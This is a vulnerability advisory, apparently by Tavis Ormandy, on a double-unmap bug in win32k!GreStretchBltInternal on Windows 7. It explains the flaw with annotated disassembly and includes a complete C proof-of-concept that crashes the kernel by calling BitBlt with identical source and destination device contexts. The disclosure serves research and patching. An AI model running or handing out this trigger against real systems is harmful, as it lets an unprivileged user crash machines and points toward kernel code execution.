Microsoft Windows - Win32k!GreStretchBltInternal() Does Not Handle src == dest

Microsoft Windows win32k!GreStretchBltInternal() does not handle src == dest
----------------------------------------------------------------------------

A bitblt (bit block transfer) is used to copy one rectangular region of screen
to another, often performing a raster operation (rop) of some sort (e.g. and,
or, xor). On Windows, bitblts are performed using the BitBlt() GDI32 api, which
is passed a source and destination DC, along with the dimensions of the regions
to transfer. BitBlt() is backed by the native system service, NtGdiBitBlt().

On Windows 7, the following code from win32k!GreStretchBltInternal is guarded by
a check for a rop including CAPTUREBLT (Include Layered Windows):

.text:BF981F07    mov     ecx, [ebp+dcoSrc]             ; ecx is a pointer to src DCOBJ
.text:BF981F0D    test    dword ptr [ecx+18h], 4000h    ; probably checking if redirection bitmap selected?
.text:BF981F14    jz      short loc_BF981F24
.text:BF981F16    push    ebx
.text:BF981F17    push    ebx
.text:BF981F18    call    DC::pSurface(void)
.text:BF981F1D    mov     ecx, eax
.text:BF981F1F    call    SURFACE::bUnMap(void *,DC *)
.text:BF981F24 loc_BF981F24:
.text:BF981F24    mov     ecx, [ebp+dcoTrg]             ; ecx is a pointer to dst DCOBJ
.text:BF981F2A    test    dword ptr [ecx+18h], 4000h
.text:BF981F31    jz      short loc_BF981F41
.text:BF981F33    push    ecx
.text:BF981F34    push    ebx
.text:BF981F35    call    DC::pSurface(void)
.text:BF981F3A    mov     ecx, eax
.text:BF981F3C    call    SURFACE::bUnMap(void *,DC *)

You can see this code tests a flag, gets a pointer to a SURFACE object, then
unmaps it. This code does not handle dcoSrc == dcoTrg, which causes bUnMap() to
be called twice for the same SURFACE.

This will cause a synchronization error, and result in a bugcheck due to the
unhandled exception. It's possible that on MP machines a race condition could
exist that would allow an attacker to continue past the initial error, possibly
resulting in an exploitable condition (untested).

--------------------
Affected Software
------------------------

At least Microsoft Windows 7 is affected.

--------------------
Consequences
-----------------------

An unprivileged user may be able to cause a bugcheck, or possibly execute
arbitrary kernel code.

Example code to trigger this vulnerability is available below.

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS    // I prefer working with ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "GDI32")
#pragma comment(lib, "USER32")

int main(int argc, char **argv)
{
    WNDCLASS Class;
    HWND Window;
    HDC Device;

    Class.style             = CS_OWNDC;
    Class.lpfnWndProc       = DefWindowProc;
    Class.cbClsExtra        = 0;
    Class.cbWndExtra        = 0;
    Class.hInstance         = GetModuleHandle(NULL);
    Class.hIcon             = NULL;
    Class.hCursor           = NULL;
    Class.hbrBackground     = NULL;
    Class.lpszMenuName      = NULL;
    Class.lpszClassName     = "Class";

    RegisterClass(&Class);

    Window                  = CreateWindowEx(WS_EX_COMPOSITED, "Class", "Window", 0, 32, 32, 32, 32, NULL, NULL, NULL, NULL);
    Device                  = GetWindowDC(Window);

    BitBlt(Device, 32, 32, 32, 32, Device, 32, 32, CAPTUREBLT | SRCCOPY);
    
    return 0;
}

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

-------------------
Greetz
-----------------------

$1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/
$1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.
$1$IPYBMipO$/HhHCPgulV/E0pgSvU1710
$1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.
$1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.

And all the other elite people I've worked with (sorry, too many to generate!).

-------------------
Notes
-----------------------

This issue was reported in March.

-------------------
References
-----------------------

- http://groups.google.com/group/comp.os.ms-windows.programmer.win32/msg/5c3c900b21b67f20
  Redirection bitmap?
- http://msdn.microsoft.com/en-us/library/dd183370%28VS.85%29.aspx
  BitBlt() Win32 api.
- http://msdn.microsoft.com/en-us/library/ff549594%28VS.85%29.aspx
  KeReleaseMutant